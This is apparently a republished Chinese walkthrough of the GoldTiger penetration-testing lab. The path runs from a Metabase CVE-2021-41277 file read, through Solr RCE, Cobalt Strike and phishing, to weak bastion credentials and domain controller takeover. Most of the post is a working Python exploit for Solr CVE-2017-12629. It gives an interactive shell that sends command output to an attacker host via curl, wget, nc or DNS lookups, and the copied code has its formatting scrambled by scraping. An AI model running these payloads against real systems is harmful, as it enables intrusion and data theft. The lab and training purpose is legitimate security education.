文章总结: 本文记录了内网仿真靶场GoldTiger的渗透过程。利用MetabaseCVE-2021-41277读取文件并SSH登录,针对Solr服务使用CVE-2017-12629POC获取Shell并上线CS。通过钓鱼与代理搭建进入内网,利用弱口令控制堡垒机,最终借助堡垒机凭据RDP拿下域控DC,展示了从边界突破到内网横向移动的完整攻击链。 综合评分: 89 文章分类: 红队,内网渗透,WEB安全,漏洞POC,渗透测试
内网仿真渗透【GoldTiger】全网首发
原创
plag plag
红队蓝军
2026年1月19日 18:01 四川
拓扑
web1
3000端口metabase,0.4.0版本,有两个漏洞符合版本CVE-2021-41277和CVE-2023-38646
CVE-2023-38646需要setup-token,用不了
利用CVE-2021-41277
ounter(linehttp://10.8.8.5:3000/api/geojson?url=file:////etc/passwd
ssh连接
web2
存活主机扫描得到10.8.8.8,访问8983端口为solr
直接使用exp getshell
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linefrom urllib.parse import quote as urlEncode
import requestsimport randomimport urllib3from urllib3.exceptions import InsecureRequestWarningimport argparse
# Suppress the InsecureRequestWarning specificallyurllib3.disable_warnings(InsecureRequestWarning)
################### HELPER FUNCTIONS##################def createUrlForPayload(payload: str, urlBaseExternal: str): baseUrl = f"{urlBaseExternal}/page.aspx/en/PAYLOAD?ReturnUrl=/page.aspx/en/buy/homepage" # replace PAYLOAD #urlForPayload = baseUrl.replace("PAYLOAD", urlEncode(payload)) urlForPayload = baseUrl.replace("PAYLOAD", payload) return urlForPayload
def executeCommand(urlBaseExternal: str, urlBaseInternal: str, commandBinary: str, commandArgs: list[str], commandCurDir: str): # Create New collection collectionName = f"collection{random.randint(100000000000, 999999999999)}" requests.get( url=createUrlForPayload( payload="""{!xmlparser v='<!DOCTYPE a SYSTEM "URL_BASE_INTERNAL/admin/collections?action=CREATE&name=COLLECTION_NAME&numShards=2"><a></a>'}""".replace("URL_BASE_INTERNAL", urlBaseInternal).replace("COLLECTION_NAME", collectionName), urlBaseExternal=urlBaseExternal ), verify=False ) print(f"New collection created: '{collectionName}'")
# Add a new RunExecutableListener listenerName = f"listener{random.randint(100000000000, 999999999999)}" commandArgsProcessed = str(commandArgs).replace("'","\"") streamBodyInPayload = urlEncode("""{"add-listener":{"event":"postCommit","name":"LISTENER_NAME","class":"solr.RunExecutableListener","exe":"COMMAND_BINARY","dir":"COMMAND_CUR_DIR","args":COMMAND_ARGS}}""".replace("LISTENER_NAME", listenerName).replace("COMMAND_BINARY", commandBinary).replace("COMMAND_CUR_DIR", commandCurDir).replace("COMMAND_ARGS", commandArgsProcessed))
requests.get( url=createUrlForPayload( payload="""{!xmlparser v='<!DOCTYPE a SYSTEM "URL_BASE_INTERNAL/newcollection/select?q=xxx&qt=/newcollection/config?stream.body=STREAM_BODY&shards=SHARDS/"><a></a>'}""".replace("URL_BASE_INTERNAL", urlBaseInternal).replace("STREAM_BODY", streamBodyInPayload).replace("SHARDS", urlBaseInternal.lstrip("http://").lstrip("https://")), urlBaseExternal=urlBaseExternal ), verify=False ) print(f"New RunExecutableListener created: '{listenerName}'")
# Update "newcollection" to trigger execution of RunExecutableListener randomId = f"id{random.randint(100000000000, 999999999999)}" streamBodyInPayload = urlEncode('[{"id":"RANDOM_ID"}]'.replace("RANDOM_ID", randomId))
requests.get( url=createUrlForPayload( payload="""{!xmlparser v='<!DOCTYPE a SYSTEM "URL_BASE_INTERNAL/newcollection/update?stream.body=STREAM_BODY&commit=true&overwrite=true"><a></a>'}""".replace("STREAM_BODY", streamBodyInPayload).replace("URL_BASE_INTERNAL", urlBaseInternal).replace("ID_UPDATE", randomId), urlBaseExternal=urlBaseExternal ), verify=False ) print(f"Updating collection's ID to '{randomId}' to trigger command execution")
####### MAIN######
if __name__ == "__main__": parser = argparse.ArgumentParser() parser.description = "POC for CVE-2017-12629 (RCE via internal SSRF via XXE) by @realCaptainWoof" parser.add_argument("-ue", "--url-base-external", help="External URL base of the vulnerable application; e.g, 'https://vulnerable.app/solr'", action="store", required=True) parser.add_argument("-ui", "--url-base-internal", help="Internal URL base of the vulnerable application; e.g, 'https://127.0.0.1:8983'; default: 'https://127.0.0.1:8983'", action="store", required=True, default="https://127.0.0.1:8983") parser.add_argument("-b", "--bin", help="How to exfiltrate command output from target; default: 'curl'", choices=["curl", "wget", "ftp", "ping", "nc", "ncat", "nslookup", "dig"], default="curl", action='store') parser.add_argument("-e", "--exfil", help="Destination to exfil to. Make sure this corresponds to '--bin'; e.g, if '--bin' is 'curl', '--exfil' can be 'http://EXFIL.myserver.com/EXFIL'. Must specify injection point via 'EXFIL' keyword.", required=True) parser.add_argument("-f", "--exfil-format", help="Format in which to exfil the command output; default: 'base32'", choices=["hex", "base32"], default="base32") args = parser.parse_args()
if "EXFIL" not in args.exfil: print("'--exfil' needs EXFIL keyword. Use '--help'.") exit(0)
# Start pseudoshell try: while True: commandToExecute = input("$ ") # May contain args, no problem
# Decide how to exfil command output commandArgEmbedded = "" exfilDestination = "" if args.exfil_format == "hex": exfilDestination = args.exfil.replace("EXFIL", f"$({commandToExecute} | xxd -p | tr -d '\\n')") else: exfilDestination = args.exfil.replace("EXFIL", f"$({commandToExecute} | base32 -w 0 | tr -d '=\\n')") if args.bin == "curl": commandArgEmbedded = f"curl -k -s {exfilDestination}" elif args.bin == "wget": commandArgEmbedded = f"wget -q --spider --no-check-certificate {exfilDestination}" elif args.bin == "ftp": commandArgEmbedded = f"echo \"quit\" | ftp -n -q 5 {exfilDestination}" elif args.bin == "ping": commandArgEmbedded = f"ping -c 1 -W 5 {exfilDestination}" elif args.bin == "nc": commandArgEmbedded = f"nc -z -w 5 {exfilDestination}" elif args.bin == "ncat": commandArgEmbedded = f"ncat -z -w 5 {exfilDestination}" elif args.bin == "nslookup": commandArgEmbedded = f"nslookup {exfilDestination}" elif args.bin == "dig": commandArgEmbedded = f"dig {exfilDestination}"
# Need to try multiple times to succeed because OOB DNS exfiltration is finnicky (though command should get executed after just one attempt) for tryNum in range(0, 9): print(f"> Attempt #{tryNum + 1}") executeCommand( urlBaseExternal = args.url_base_external, urlBaseInternal = args.url_base_internal, commandBinary="sh", commandArgs=["-c", f"\"{commandArgEmbedded}\""], commandCurDir="/tmp" ) except KeyboardInterrupt: print("[+] Pseudoshell quit")
上线cs
钓鱼
根据提示,用python起一个http服务
rdp上桌面安装python
使用tcp beacon
注意改名为cslab.exe
堡垒机
做双层代理
admin/123456进后台
DC
发现堡垒机控制DC,且直接保存了账号密码,这里通过堡垒机直接rdp拿下
靶场地址:
https://www.cyberstrikelab.com/#/scene/detail/51
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:红队蓝军 plag plag《内网仿真渗透【GoldTiger】全网首发》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论